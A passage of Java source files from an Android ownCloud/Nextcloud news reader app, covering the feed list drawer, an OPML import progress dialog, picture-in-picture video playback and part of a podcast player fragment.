@Inject SharedPreferences mPrefs;\n\n    private SubscriptionExpandableListAdapter lvAdapter;\n\n    protected FragmentNewsreaderListBinding binding;\n\n    /**\n     * The fragment's current callback object, which is notified of list item\n     * clicks.\n     */\n    private Callbacks mCallbacks = null;\n\n\n    protected static final String TAG = \"NewsReaderListFragment\";\n\n    public void listViewNotifyDataSetChanged() {\n        lvAdapter.notifyDataSetChangedAsync();\n    }\n\n    public void reloadAdapter() {\n        lvAdapter.ReloadAdapterAsync();\n    }\n\n    public void setRefreshing(boolean isRefreshing) {\n        if (isRefreshing) {\n            //headerLogo.setImageResource(R.drawable.ic_launcher_background);\n            binding.headerLogo.setVisibility(View.INVISIBLE);\n\t\t\tbinding.headerLogoProgress.setVisibility(View.VISIBLE);\n\t\t} else {\n\t\t\t//headerLogo.setImageResource(R.drawable.ic_launcher);\n\t\t\tbinding.headerLogo.setVisibility(View.VISIBLE);\n\t\t\tbinding.headerLogoProgress.setVisibility(View.INVISIBLE);\n\t\t}\n\t}\n\n\t/**\n\t * A callback interface that all activities containing this fragment must\n\t * implement. This mechanism allows activities to be notified of item\n\t * selections.\n\t */\n\tpublic interface Callbacks {\n\t\t/**\n\t\t * Callback for when an item has been selected.\n\t\t */\n\t\tvoid onChildItemClicked(long idFeed, Long optional_folder_id);\n\t\tvoid onTopItemClicked(long idFeed, boolean isFolder, Long onTopItemClicked);\n\t\tvoid onChildItemLongClicked(long idFeed);\n\t\tvoid onTopItemLongClicked(long idFeed, boolean isFolder);\n\t\tvoid onUserInfoUpdated(OcsUser userInfo);\n\t\tvoid onCreateFolderClicked();\n\t}\n\n\t/**\n\t * Mandatory empty constructor for the fragment manager to instantiate the\n\t * fragment (e.g. upon screen orientation changes).\n\t */\n\tpublic NewsReaderListFragment() {\n\t}\n\n    @Override\n    public void onCreate(Bundle savedInstance) {\n        super.onCreate(savedInstance);\n        ((NewsReaderApplication) requireActivity().getApplication()).getAppComponent().injectFragment(this);\n    }\n\n\t@Override\n\tpublic View onCreateView(@NonNull LayoutInflater inflater, ViewGroup container,\n                            Bundle savedInstanceState) {\n\t    binding = FragmentNewsreaderListBinding.inflate(requireActivity().getLayoutInflater(), container, false);\n\n        lvAdapter = new SubscriptionExpandableListAdapter(getActivity(), new DatabaseConnectionOrm(getActivity()), binding.expandableListView, mPrefs);\n        lvAdapter.setHandlerListener(expListTextClickedListener);\n\n\t\tbinding.expandableListView.setGroupIndicator(null);\n\n\t\tbinding.expandableListView.setOnChildClickListener(onChildClickListener);\n\t\tbinding.expandableListView.setOnItemLongClickListener(onItemLongClickListener);\n\n\t\tbinding.expandableListView.setClickable(true);\n\t\tbinding.expandableListView.setLongClickable(true);\n\t\tbinding.expandableListView.setAdapter(lvAdapter);\n\n        binding.headerLogo.setOnClickListener(v -> ((NewsReaderListActivity) requireActivity()).startSync());\n\n        lvAdapter.notifyDataSetChanged();\n        reloadAdapter();\n\n        bindNavigationMenu(binding.getRoot(), inflater);\n\n        // move header of sidebar down according to insets\n        ViewCompat.setOnApplyWindowInsetsListener(binding.headerView, (View v, WindowInsetsCompat insets) -> {\n            var systemBars = insets.getInsets(WindowInsetsCompat.Type.systemBars());\n            v.setPadding(0, systemBars.top, 0, 0);\n            return insets;\n        });\n\n        // make sure that the end of the sidebar doesn't go behind the navigation bar\n        ViewCompat.setOnApplyWindowInsetsListener(binding.expandableListView, (View v, WindowInsetsCompat insets) -> {\n            var systemBars = insets.getInsets(WindowInsetsCompat.Type.systemBars());\n            v.setPadding(0, 0, 0, systemBars.bottom);\n            return insets;\n        });\n\n\t\treturn binding.getRoot();\n\t}\n\n\t@Override\n\tpublic void onAttach(@NonNull Context context) {\n\t\tsuper.onAttach(context);\n\n\t\t// Activities containing this fragment must implement its callbacks.\n\t\tif (!(context instanceof Callbacks)) {\n\t\t\tthrow new IllegalStateException(\n\t\t\t\t\t\"Activity must implement fragment's callbacks.\");\n\t\t}\n\n\t\tmCallbacks = (Callbacks) context;\n\t}\n\n\t@Override\n\tpublic void onDetach() {\n\t\tsuper.onDetach();\n\n\t\tmCallbacks = null;\n\t}\n\n    /**\n     * Cares about settings items in news list drawer.\n     *  - Binds settings, shown at bottom of drawer\n     *  - Inflates NavigationView which is set as footerview of ListView\n     *    Currently used to show item \"add newsfeed\" at bottom of list.\n     *\n     * @param parent content view of drawer\n     * @param inflater inflater provided to fragment\n     */\n    private void bindNavigationMenu(View parent, LayoutInflater inflater) {\n        // Create NavigationView to show as footer of ListView\n        View footerView =  inflater.inflate(R.layout.fragment_newsreader_list_footer, null, false);\n        ExpandableListView list = parent.findViewById(R.id.expandableListView);\n\n        NavigationView footerNavigation = footerView.findViewById(R.id.listfooterMenu);\n        footerNavigation.setNavigationItemSelectedListener(item -> {\n            int itemId = item.getItemId();\n            if (itemId == R.id.action_add_new_feed) {\n                if (mApi.getNewsAPI() != null) {\n                    Intent newFeedIntent = new Intent(getContext(), NewFeedActivity.class);\n                    requireActivity().startActivityForResult(newFeedIntent, NewsReaderListActivity.RESULT_ADD_NEW_FEED);\n                } else {\n                    Intent loginIntent = new Intent(getContext(), LoginDialogActivity.class);\n                    requireActivity().startActivityForResult(loginIntent, RESULT_LOGIN);\n                }\n                return true;\n            } else if (itemId == R.id.drawer_settings) {\n                Intent intent = new Intent(getContext(), SettingsActivity.class);\n                requireActivity().startActivityForResult(intent, NewsReaderListActivity.RESULT_SETTINGS);\n                return true;\n            } else if (itemId == R.id.action_add_new_folder) {\n                mCallbacks.onCreateFolderClicked();\n                return true;\n            }\n            return false;\n        });\n        list.addFooterView(footerView);\n    }\n\n\tprivate final ExpListTextClicked expListTextClickedListener = new ExpListTextClicked() {\n\n\t\t@Override\n\t\tpublic void onTextClicked(long idFeed, boolean isFolder, Long optional_folder_id) {\n            mCallbacks.onTopItemClicked(idFeed, isFolder, optional_folder_id);\n\t\t}\n\n\t\t@Override\n\t\tpublic void onTextLongClicked(long idFeed, boolean isFolder, Long optional_folder_id) {\n\t\t\tmCallbacks.onTopItemLongClicked(idFeed, isFolder);\n\t\t}\n\n\t};\n\n\t// Code below is only used for unit tests\n    @VisibleForTesting\n\tpublic OnChildClickListener onChildClickListener = new OnChildClickListener() {\n\n\t\t@Override\n\t\tpublic boolean onChildClick(ExpandableListView parent, View v,\n\t\t\t\tint groupPosition, int childPosition, long id) {\n\n            long idItem;\n            if(childPosition != -1) {\n                idItem = lvAdapter.getChildId(groupPosition, childPosition);\n            } else {\n                idItem = groupPosition;\n            }\n\t\t\tLong optional_id_folder = null;\n            AbstractItem groupItem = (AbstractItem) lvAdapter.getGroup(groupPosition);\n\t\t\tif(groupItem != null)\n\t\t\t\toptional_id_folder = groupItem.id_database;\n\t\t\tif(groupItem instanceof ConcreteFeedItem) {\n                idItem = ((ConcreteFeedItem)groupItem).feedId;\n            }\n\n\t\t\tmCallbacks.onChildItemClicked(idItem, optional_id_folder);\n\n\t\t\treturn false;\n\t\t}\n\t};\n\n\tAdapterView.OnItemLongClickListener onItemLongClickListener = (parent, view, position, id) -> {\n        if (ExpandableListView.getPackedPositionType(id) == ExpandableListView.PACKED_POSITION_TYPE_CHILD) {\n            int childPosition = ExpandableListView.getPackedPositionChild(id);\n            mCallbacks.onChildItemLongClicked(childPosition);\n        }\n\n        return true;\n    };\n\n    public void startAsyncTaskGetUserInfo() {\n        OcsAPI serverAPI = mApi.getServerAPI();\n\n        if(serverAPI == null) {\n            return;\n        }\n\n        mApi.getServerAPI().user()\n                .subscribeOn(Schedulers.newThread())\n                .observeOn(AndroidSchedulers.mainThread())\n                .subscribe(new Observer<>() {\n                    @Override\n                    public void onSubscribe(@NonNull Disposable d) {\n\n                    }\n\n                    @Override\n                    public void onNext(@NonNull OcsUser userInfo) {\n                        Log.d(TAG, \"onNext() called with: userInfo = [\" + userInfo + \"]\");\n\n                        try {\n                            String userInfoAsString = NewsReaderListFragment.toString(userInfo);\n                            //Log.v(TAG, userInfoAsString);\n                            mPrefs.edit().putString(USER_INFO_STRING, userInfoAsString).apply();\n                        } catch (IOException e) {\n                            e.printStackTrace();\n                        }\n                    }\n\n                    @Override\n                    public void onError(@NonNull Throwable e) {\n                        Log.e(TAG, \"onError() called with:\", e);\n\n                        if (\"Method Not Allowed\".equals(e.getMessage())) { //Remove if old version is used\n                            mPrefs.edit().remove(USER_INFO_STRING).apply();\n                        }\n\n                        bindUserInfoToUI();\n                    }\n\n                    @Override\n                    public void onComplete() {\n                        bindUserInfoToUI();\n                    }\n                });\n    }\n\n\n    public void bindUserInfoToUI() {\n        if(getActivity() == null) { // e.g. Activity is closed\n            return;\n        }\n\n        SharedPreferences mPrefs = ((PodcastFragmentActivity) getActivity()).mPrefs;\n        if(!mPrefs.contains(SettingsActivity.EDT_OWNCLOUDROOTPATH_STRING)) {\n            // return if app is not setup yet..\n            return;\n        }\n\n        String uInfo = mPrefs.getString(USER_INFO_STRING, null);\n        if(uInfo == null) {\n            return;\n        }\n\n        try {\n            OcsUser userInfo = (OcsUser) fromString(uInfo);\n            mCallbacks.onUserInfoUpdated(userInfo);\n        } catch (Exception ex) {\n            ex.printStackTrace();\n        }\n    }\n\n\n    /** Read the object from Base64 string. */\n    public static Object fromString(String s) throws IOException,\n            ClassNotFoundException {\n        byte [] data = Base64.decode(s, Base64.DEFAULT);\n        ObjectInputStream ois = new ObjectInputStream(\n                new ByteArrayInputStream(  data ) );\n        Object o  = ois.readObject();\n        ois.close();\n        return o;\n    }\n\n    /** Write the object to a Base64 string. */\n    public static String toString(Serializable o) throws IOException {\n        ByteArrayOutputStream baos = new ByteArrayOutputStream();\n        ObjectOutputStream oos = new ObjectOutputStream( baos );\n        oos.writeObject(o);\n        oos.close();\n        return Base64.encodeToString(baos.toByteArray(), Base64.DEFAULT);\n    }\n}"
  },
  {
    "path": "News-Android-App/src/main/java/de/luhmer/owncloudnewsreader/NewsReaderOPMLImportDialogFragment.java",
    "content": "package de.luhmer.owncloudnewsreader;\n\nimport android.os.Bundle;\nimport android.util.Log;\nimport android.view.LayoutInflater;\nimport android.view.View;\nimport android.view.ViewGroup;\n\nimport androidx.fragment.app.DialogFragment;\nimport androidx.fragment.app.FragmentTransaction;\n\nimport javax.inject.Inject;\n\nimport de.luhmer.owncloudnewsreader.databinding.FragmentDialogOpmlImportBinding;\nimport de.luhmer.owncloudnewsreader.di.ApiProvider;\nimport io.reactivex.rxjava3.annotations.NonNull;\n\n\npublic class NewsReaderOPMLImportDialogFragment extends DialogFragment {\n\n    private static final String TAG = NewsReaderOPMLImportDialogFragment.class.getCanonicalName();\n    protected @Inject\n    ApiProvider mApi;\n\n    protected FragmentDialogOpmlImportBinding binding;\n\n\n    static NewsReaderOPMLImportDialogFragment newInstance(boolean showOkButton) {\n        var f = new NewsReaderOPMLImportDialogFragment();\n\n        Bundle args = new Bundle();\n        args.putBoolean(\"show_ok_button\", showOkButton);\n\n        f.setArguments(args);\n        return f;\n    }\n\n    @Override\n    public void onCreate(Bundle savedInstanceState) {\n        super.onCreate(savedInstanceState);\n\n        setStyle(DialogFragment.STYLE_NO_TITLE, R.style.FloatingDialog);\n    }\n\n\n    @Override\n    public View onCreateView(@NonNull LayoutInflater inflater, ViewGroup container,\n                             Bundle savedInstanceState) {\n        binding = FragmentDialogOpmlImportBinding.inflate(inflater, container, false);\n\n        final Bundle args = requireArguments();\n        boolean showOkButton = args.getBoolean(\"show_ok_button\", true);\n        setVisibilityOkButton(showOkButton);\n\n        binding.okButton.setOnClickListener(v -> {\n            FragmentTransaction ft = getActivity().getSupportFragmentManager().beginTransaction();\n            ft.remove(this);\n            ft.commit();\n        });\n\n        return binding.getRoot();\n    }\n\n    public void updateProgress(final int current, final int max) {\n        if (binding != null) {\n            binding.opmlImportProgress.setMax(max);\n            binding.opmlImportProgress.setProgress(current);\n\n            int percentage = Math.round((float) current / (float) max * 100f);\n            Log.d(TAG, current + \"-\" + max + \"- \" + percentage);\n            binding.tvPercentage.setText(String.format(\"%d%%\", percentage));\n            binding.tvAbsoluteProgress.setText(String.format(\"%d / %d\", current, max));\n        } else {\n            Log.e(TAG, \"Binding is not ready yet\");\n        }\n    }\n\n    public void setMessage(final String message) {\n        if (binding != null) {\n            binding.tvMessage.setText(message);\n\n            binding.messageScrollview.post(() -> binding.messageScrollview.fullScroll(View.FOCUS_DOWN));\n        } else {\n            Log.e(TAG, \"Binding is not ready yet\");\n        }\n    }\n\n    public void setVisibilityOkButton(final boolean show) {\n        if (binding != null) {\n            binding.okButton.setVisibility(show ? View.VISIBLE : View.GONE);\n        } else {\n            Log.e(TAG, \"Binding is not ready yet\");\n        }\n    }\n}\n"
  },
  {
    "path": "News-Android-App/src/main/java/de/luhmer/owncloudnewsreader/PiPVideoPlaybackActivity.java",
    "content": "package de.luhmer.owncloudnewsreader;\n\nimport static de.luhmer.owncloudnewsreader.services.PodcastPlaybackService.CURRENT_PODCAST_MEDIA_TYPE;\n\nimport android.app.PictureInPictureParams;\nimport android.content.ComponentName;\nimport android.content.pm.PackageManager;\nimport android.content.res.Configuration;\nimport android.graphics.Point;\nimport android.os.Build;\nimport android.os.Bundle;\nimport android.support.v4.media.MediaBrowserCompat;\nimport android.support.v4.media.MediaMetadataCompat;\nimport android.support.v4.media.session.MediaControllerCompat;\nimport android.support.v4.media.session.MediaSessionCompat;\nimport android.support.v4.media.session.PlaybackStateCompat;\nimport android.util.Log;\nimport android.view.Display;\nimport android.view.SurfaceView;\nimport android.widget.LinearLayout;\nimport android.widget.RelativeLayout;\nimport android.widget.Toast;\n\nimport androidx.appcompat.app.AppCompatActivity;\n\nimport org.greenrobot.eventbus.EventBus;\n\nimport de.luhmer.owncloudnewsreader.events.podcast.RegisterVideoOutput;\nimport de.luhmer.owncloudnewsreader.helper.ThemeChooser;\nimport de.luhmer.owncloudnewsreader.services.PodcastPlaybackService;\nimport de.luhmer.owncloudnewsreader.services.podcast.PlaybackService;\n\npublic class PiPVideoPlaybackActivity extends AppCompatActivity {\n\n    private static final String TAG = PiPVideoPlaybackActivity.class.getCanonicalName();\n    private EventBus mEventBus;\n\n    private MediaBrowserCompat mMediaBrowser;\n\n    protected static boolean activityIsRunning = false;\n\n    @Override\n    protected void onCreate(Bundle savedInstanceState) {\n        Log.d(TAG, \"onCreate() called with: savedInstanceState = [\" + savedInstanceState + \"]\");\n        ThemeChooser.chooseTheme(this);\n        super.onCreate(savedInstanceState);\n        ThemeChooser.afterOnCreate(this);\n\n        setContentView(R.layout.activity_pip_video_playback);\n\n        if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.N && getPackageManager().hasSystemFeature(PackageManager.FEATURE_PICTURE_IN_PICTURE)) {\n            //moveTaskToBack(false);\n            if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) {\n                PictureInPictureParams.Builder pictureInPictureParamsBuilder = new PictureInPictureParams.Builder();\n                //Rational aspectRatio = new Rational(vv.getWidth(), vv.getHeight());\n                //pictureInPictureParamsBuilder.setAspectRatio(aspectRatio).build();\n                enterPictureInPictureMode(pictureInPictureParamsBuilder.build());\n            } else {\n                enterPictureInPictureMode();\n            }\n        } else {\n            Toast.makeText(this, \"This device does not support video playback.\", Toast.LENGTH_LONG).show();\n            finish();\n        }\n    }\n\n    @Override\n    public void onPictureInPictureModeChanged (boolean isInPictureInPictureMode, Configuration newConfig) {\n        if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) {\n            super.onPictureInPictureModeChanged(isInPictureInPictureMode, newConfig);\n        }\n        Log.d(TAG, \"onPictureInPictureModeChanged() called with: isInPictureInPictureMode = [\" + isInPictureInPictureMode + \"], newConfig = [\" + newConfig + \"]\");\n\n        RelativeLayout surfaceViewWrapper = findViewById(R.id.layout_activity_pip);\n        SurfaceView surfaceView = (SurfaceView) surfaceViewWrapper.getChildAt(0);\n\n        if (surfaceView != null) {\n            if (isInPictureInPictureMode) {\n                surfaceView.setLayoutParams(new RelativeLayout.LayoutParams(\n                        RelativeLayout.LayoutParams.MATCH_PARENT,\n                        RelativeLayout.LayoutParams.MATCH_PARENT));\n            } else {\n                Display display = getWindowManager().getDefaultDisplay();\n                Point size = new Point();\n                display.getSize(size);\n                float width = size.x;\n                //int height = size.y;\n                //int newWidth = (int) (width * (9f/16f));\n                int newWidth = (int) (width * (3f/4f));\n\n                surfaceView.setLayoutParams(new RelativeLayout.LayoutParams(RelativeLayout.LayoutParams.MATCH_PARENT, newWidth));\n            }\n        }\n\n        /*\n        if (isInPictureInPictureMode) {\n            // Hide the full-screen UI (controls, etc.) while in picture-in-picture mode.\n\n        } else {\n            // Restore the full-screen UI.\n            //Intent intent = new Intent(this, NewsReaderListActivity.class);\n            //intent.addFlags(Intent.FLAG_ACTIVITY_REORDER_TO_FRONT);\n            //startActivity(intent);\n\n            // Finish PiP Activity\n            //finish();\n        }\n        */\n\n        /*\n        // When dismissing\n        if(!isInPictureInPictureMode) {\n            finish();\n        }\n        */\n    }\n\n    @Override\n    protected void onStart() {\n        Log.d(TAG, \"onStart() called\");\n        super.onStart();\n\n        mEventBus = EventBus.getDefault();\n        //mEventBus.register(this);\n\n        mMediaBrowser = new MediaBrowserCompat(this,\n                new ComponentName(this, PodcastPlaybackService.class),\n                mConnectionCallbacks,\n                null); // optional Bundle\n        mMediaBrowser.connect();\n\n        activityIsRunning = true;\n    }\n\n    @Override\n    public void onStop() {\n        Log.d(TAG, \"onStop() called\");\n\n        unregisterVideoViews();\n\n        //mEventBus.unregister(this);\n\n        // (see \"stay in sync with the MediaSession\")\n        if (MediaControllerCompat.getMediaController(this) != null) {\n            MediaControllerCompat.getMediaController(this).unregisterCallback(controllerCallback);\n        }\n\n        mMediaBrowser.disconnect();\n\n        activityIsRunning = false;\n\n        super.onStop();\n\n        if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.N && getPackageManager().hasSystemFeature(PackageManager.FEATURE_PICTURE_IN_PICTURE)) {\n            finishAndRemoveTask();\n        }\n    }\n\n    public void unregisterVideoViews() {\n        mEventBus.post(new RegisterVideoOutput(null, null));\n    }\n\n    /*\n    @Subscribe\n    public void onEvent(CollapsePodcastView event) {\n        Log.d(TAG, \"onEvent() called with: event = [\" + event + \"]\");\n        finishAndRemoveTask();\n    }\n    */\n\n\n    @Override\n    public void onBackPressed() {\n        super.onBackPressed();\n\n        Log.d(TAG, \"onBackPressed() called\");\n        if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.N) {\n            enterPictureInPictureMode();\n        }\n    }\n\n\n\n\n\n    private final MediaBrowserCompat.ConnectionCallback mConnectionCallbacks =\n            new MediaBrowserCompat.ConnectionCallback() {\n                @Override\n                public void onConnected() {\n                    Log.d(TAG, \"onConnected() called\");\n\n                    // Get the token for the MediaSession\n                    MediaSessionCompat.Token token = mMediaBrowser.getSessionToken();\n\n                    // Create a MediaControllerCompat\n                    MediaControllerCompat mediaController = new MediaControllerCompat(PiPVideoPlaybackActivity.this, token);\n\n                    // Save the controller\n                    MediaControllerCompat.setMediaController(PiPVideoPlaybackActivity.this, mediaController);\n\n                    // Register a Callback to stay in sync\n                    mediaController.registerCallback(controllerCallback);\n\n                    // Display the initial state\n                    MediaMetadataCompat metadata = mediaController.getMetadata();\n                    handleMetadataChange(metadata);\n                }\n            };\n\n        MediaControllerCompat.Callback controllerCallback =\n            new MediaControllerCompat.Callback() {\n                @Override\n                public void onMetadataChanged(MediaMetadataCompat metadata) {\n                    Log.v(TAG, \"onMetadataChanged() called with: metadata = [\" + metadata + \"]\");\n                    handleMetadataChange(metadata);\n                }\n\n                @Override\n                public void onPlaybackStateChanged(PlaybackStateCompat stateCompat) {\n                    Log.v(TAG, \"onPlaybackStateChanged() called with: state = [\" + stateCompat + \"]\");\n                }\n            };\n\n    private void handleMetadataChange(MediaMetadataCompat metadata) {\n        Log.d(TAG, \"handleMetadataChange() called with: metadata = [\" + metadata + \"]\");\n\n        unregisterVideoViews();\n        RelativeLayout surfaceViewWrapper = findViewById(R.id.layout_activity_pip);\n        surfaceViewWrapper.removeAllViews();\n\n        PlaybackService.VideoType mediaType = PlaybackService.VideoType.valueOf(metadata.getString(CURRENT_PODCAST_MEDIA_TYPE));\n        Log.d(TAG, \"handleMetadataChange() called with: mediaType = [\" + mediaType + \"]\");\n\n        switch (mediaType) {\n            case None:\n                finish();\n                break;\n            case Video:\n                // default\n                SurfaceView surfaceView = createSurfaceView();\n                surfaceViewWrapper.addView(surfaceView);\n                mEventBus.post(new RegisterVideoOutput(surfaceView, surfaceViewWrapper));\n                break;\n            /*\n            case YouTube:\n                final int YOUTUBE_CONTENT_VIEW_ID = 10101010;\n                FrameLayout frame = new FrameLayout(this);\n                frame.setId(YOUTUBE_CONTENT_VIEW_ID);\n                surfaceViewWrapper.addView(frame);\n                YoutubePlayerManager.StartYoutubePlayer(this, YOUTUBE_CONTENT_VIEW_ID, mEventBus, () -> Log.d(TAG, \"onInit Success()\"));\n                break;\n            */\n            default:\n                break;\n        }\n    }\n\n    private SurfaceView createSurfaceView() {\n        SurfaceView surfaceView = new SurfaceView(this);\n        surfaceView.setLayoutParams(new LinearLayout.LayoutParams(\n                LinearLayout.LayoutParams.MATCH_PARENT,\n                LinearLayout.LayoutParams.MATCH_PARENT));\n        return surfaceView;\n    }\n\n}\n"
  },
  {
    "path": "News-Android-App/src/main/java/de/luhmer/owncloudnewsreader/PodcastFragment.java",
    "content": "package de.luhmer.owncloudnewsreader;\n\nimport static android.media.MediaMetadata.METADATA_KEY_MEDIA_ID;\nimport static de.luhmer.owncloudnewsreader.services.PodcastPlaybackService.CURRENT_PODCAST_MEDIA_TYPE;\nimport static de.luhmer.owncloudnewsreader.services.PodcastPlaybackService.PLAYBACK_SPEED_FLOAT;\n\nimport android.content.ComponentName;\nimport android.content.Context;\nimport android.content.Intent;\nimport android.os.Build;\nimport android.os.Bundle;\nimport android.os.Handler;\nimport android.os.ResultReceiver;\nimport android.support.v4.media.MediaBrowserCompat;\nimport android.support.v4.media.MediaMetadataCompat;\nimport android.support.v4.media.session.MediaControllerCompat;\nimport android.support.v4.media.session.MediaSessionCompat;\nimport android.support.v4.media.session.PlaybackStateCompat;\nimport android.text.InputFilter;\nimport android.util.Log;\nimport android.view.LayoutInflater;\nimport android.view.View;\nimport android.view.ViewGroup;\nimport android.widget.EditText;\nimport android.widget.NumberPicker;\nimport android.widget.SeekBar;\n\nimport androidx.annotation.NonNull;\nimport androidx.appcompat.app.AlertDialog;\nimport androidx.fragment.app.Fragment;\nimport androidx.fragment.app.FragmentActivity;\n\nimport com.bumptech.glide.Glide;\nimport com.bumptech.glide.load.MultiTransformation;\nimport com.bumptech.glide.load.engine.DiskCacheStrategy;\nimport com.bumptech.glide.load.resource.bitmap.CenterCrop;\nimport com.bumptech.glide.load.resource.bitmap.RoundedCorners;\nimport com.sothree.slidinguppanel.SlidingUpPanelLayout;\n\nimport org.greenrobot.eventbus.EventBus;\nimport org.greenrobot.eventbus.Subscribe;\n\nimport java.io.File;\nimport java.lang.reflect.Field;\nimport java.util.Arrays;\nimport java.util.Locale;\n\nimport de.luhmer.owncloudnewsreader.ListView.PodcastArrayAdapter;\nimport de.luhmer.owncloudnewsreader.ListView.PodcastFeedArrayAdapter;\nimport de.luhmer.owncloudnewsreader.databinding.FragmentPodcastBinding;\nimport de.luhmer.owncloudnewsreader.events.podcast.CollapsePodcastView;\nimport de.luhmer.owncloudnewsreader.events.podcast.ExitPlayback;\nimport de.luhmer.owncloudnewsreader.events.podcast.ExpandPodcastView;\nimport de.luhmer.owncloudnewsreader.events.podcast.SpeedPodcast;\nimport de.luhmer.owncloudnewsreader.events.podcast.StartDownloadPodcast;\nimport de.luhmer.owncloudnewsreader.events.podcast.TogglePlayerStateEvent;\nimport de.luhmer.owncloudnewsreader.events.podcast.WindPodcast;\nimport de.luhmer.owncloudnewsreader.events.podcast.SeekPodcast;\nimport de.luhmer.owncloudnewsreader.model.PodcastFeedItem;\nimport de.luhmer.owncloudnewsreader.model.PodcastItem;\nimport de.luhmer.owncloudnewsreader.services.PodcastDownloadService;\nimport de.luhmer.owncloudnewsreader.services.PodcastPlaybackService;\nimport de.luhmer.owncloudnewsreader.services.podcast.PlaybackService;\nimport de.luhmer.owncloudnewsreader.view.PodcastSlidingUpPanelLayout;\n\n\n/**\n * Use the {@link PodcastFragment#newInstance} factory method to\n * create an instance of this fragment.\n *\n */\npublic class PodcastFragment extends Fragment {\n\n    private static final String TAG = PodcastFragment.class.getCanonicalName();\n    //private static UpdatePodcastStatusEvent podcast; // Retain over different instances\n\n    private PodcastSlidingUpPanelLayout sliding_layout;\n    private EventBus eventBus;\n    private MediaBrowserCompat mMediaBrowser;\n    private FragmentActivity mActivity;\n\n    private long currentPositionInMillis = 0;\n    private long maxPositionInMillis = 100000;\n\n    protected FragmentPodcastBinding binding;\n\n    /**\n     * Use this factory method to create a new instance of\n     * this fragment using the provided parameters.\n     *\n     * @return A new instance of fragment PodcastFragment.\n     */\n    public static PodcastFragment newInstance() {\n        return new PodcastFragment();\n    }\n\n    @Override\n    public void onCreate(Bundle savedInstanceState) {\n        super.onCreate(savedInstanceState);\n        //setRetainInstance(true);\n        eventBus = EventBus.getDefault();\n    }\n\n    @Override\n    public void onResume() {\n        eventBus.register(this);\n        super.onResume();\n        //mActivity.setVolumeControlStream(AudioManager.STREAM_MUSIC);\n    }\n\n    @Override\n    public void onPause() {\n        super.onPause();\n        eventBus.unregister(this);\n    }\n\n    @Override\n    public void onStart() {\n        super.onStart();\n\n        mMediaBrowser = new MediaBrowserCompat(mActivity,\n                new ComponentName(mActivity, PodcastPlaybackService.class),\n                mConnectionCallbacks,\n                null); // optional Bundle\n        mMediaBrowser.connect();\n    }\n\n    @Override\n    public void onStop() {\n        super.onStop();\n\n        // (see \"stay in sync with the MediaSession\")\n        if (MediaControllerCompat.getMediaController(mActivity) != null) {\n            MediaControllerCompat.getMediaController(mActivity).unregisterCallback(mediaControllerCallback);\n            MediaControllerCompat.getMediaController(mActivity).unregisterCallback(controllerCallback);\n        }\n        mMediaBrowser.disconnect();\n\n    }\n\n    @Override\n    public void onAttach(@NonNull Context context) {\n        super.onAttach(context);\n        mActivity = getActivity();\n    }\n\n    @Override\n    public void onDetach() {\n        super.onDetach();\n        mActivity = null;\n    }\n\n    protected void tryOpeningPictureinPictureMode() {\n        if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.N) {\n            //moveTaskToBack(false /* nonRoot */);\n\n            if(!PiPVideoPlaybackActivity.activityIsRunning) {\n                Intent intent = new Intent(getActivity(), PiPVideoPlaybackActivity.class);\n                intent.addFlags(Intent.FLAG_ACTIVITY_NO_ANIMATION);\n                //intent.addFlags(Intent.FLAG_ACTIVITY_CLEAR_TOP);\n                //intent.addFlags(Intent.FLAG_ACTIVITY_CLEAR_TASK);\n                //intent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);\n                startActivity(intent);\n            }\n        }\n    }\n\n    @Subscribe\n    public void onEvent(StartDownloadPodcast podcast) {\n        PodcastDownloadService.startPodcastDownload(getActivity(), podcast.getPodcast());\n    }\n\n    @Subscribe\n    public void onEvent(PodcastDownloadService.DownloadProgressUpdate downloadProgress) {\n        PodcastArrayAdapter podcastArrayAdapter = (PodcastArrayAdapter) binding.podcastTitleGrid.getAdapter();\n\n        for(int i = 0; i < binding.podcastTitleGrid.getCount(); i++) {\n            if(podcastArrayAdapter.getItem(i).link.equals(downloadProgress.podcast.link)) {\n\n                if(!podcastArrayAdapter.getItem(i).downloadProgress.equals(downloadProgress.podcast.downloadProgress)) { //If Progress changed\n                    PodcastItem pItem = podcastArrayAdapter.getItem(i);\n\n                    if (downloadProgress.podcast.downloadProgress == 100) {\n                        pItem.downloadProgress = PodcastItem.DOWNLOAD_COMPLETED;\n                        File file = new File(PodcastDownloadService.getUrlToPodcastFile(getActivity(), pItem.fingerprint, pItem.link, false));\n                        pItem.offlineCached = file.exists();\n                    } else\n                        pItem.downloadProgress = downloadProgress.podcast.downloadProgress;\n                    binding.podcastTitleGrid.invalidateViews();\n                }\n\n                return;\n            }\n        }\n    }\n\n    protected void playPause() {\n        eventBus.post(new TogglePlayerStateEvent());\n    }\n\n    protected void playPauseSlider() {\n        playPause();\n    }\n\n    protected void windForward() {\n        eventBus.post(new WindPodcast(30000));\n\n        //Toast.makeText(getActivity(), \"This feature is not supported yet :(\", Toast.LENGTH_SHORT).show();\n    }\n\n    protected void windBack() {\n        eventBus.post(new WindPodcast(-10000));\n    }\n\n    protected void openSpeedMenu() {\n        showPlaybackSpeedPicker();\n    }\n\n    private final SlidingUpPanelLayout.PanelSlideListener onPanelSlideListener = new SlidingUpPanelLayout.PanelSlideListener() {\n        @Override\n        public void onPanelSlide(View view, float v) {\n        }\n\n        @Override\n        public void onPanelStateChanged(View panel, SlidingUpPanelLayout.PanelState previousState, SlidingUpPanelLayout.PanelState newState) {\n            if (newState == SlidingUpPanelLayout.PanelState.COLLAPSED) {\n                sliding_layout.setDragView(binding.llPodcastHeader);\n                binding.viewSwitcherProgress.setDisplayedChild(0);\n            } else if (newState == SlidingUpPanelLayout.PanelState.EXPANDED) {\n                sliding_layout.setDragView(binding.viewSwitcherProgress);\n                binding.viewSwitcherProgress.setDisplayedChild(1);\n            }\n        }\n    };\n\n    @Override\n    public View onCreateView(@NonNull LayoutInflater inflater, ViewGroup container, Bundle savedInstanceState) {\n        // create ContextThemeWrapper from the original Activity Context with the custom theme\n        //Context context = new ContextThemeWrapper(getActivity(), R.style.Theme_MaterialComponents_Light_DarkActionBar);\n        // clone the inflater using the ContextThemeWrapper\n        //LayoutInflater localInflater = inflater.cloneInContext(context);\n        // inflate using the cloned inflater, not the passed in default\n        //View view = localInflater.inflate(R.layout.fragment_podcast, container, false);\n        binding = 